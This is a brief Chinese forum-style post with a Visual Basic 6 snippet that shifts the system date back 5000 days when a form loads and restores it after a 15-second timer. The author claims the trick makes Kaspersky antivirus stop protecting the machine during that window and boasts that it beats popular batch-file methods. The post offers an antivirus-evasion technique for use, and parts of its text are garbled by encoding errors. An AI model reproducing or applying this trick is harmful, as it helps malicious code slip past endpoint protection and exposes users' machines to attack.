作者:雪狐

    Private Sub Form_Load()

    Date = Date - 5000

    End Sub

    Private Sub Timer1_Timer()

    Date = Date + 5000

    End

    End Sub

    很簡(jiǎn)單的幾句話,timer設(shè)置15秒即可!

    運(yùn)行程序后日期由正確的日期減去5000天,然后經(jīng)過(guò)15秒后又加上5000天!恢復(fù)了原來(lái)的時(shí)間!

    卡巴在這個(gè)15秒內(nèi)停止保護(hù)!!

    呵呵

    很爽了,比網(wǎng)上流行的bat寫的好的沒法說(shuō)了!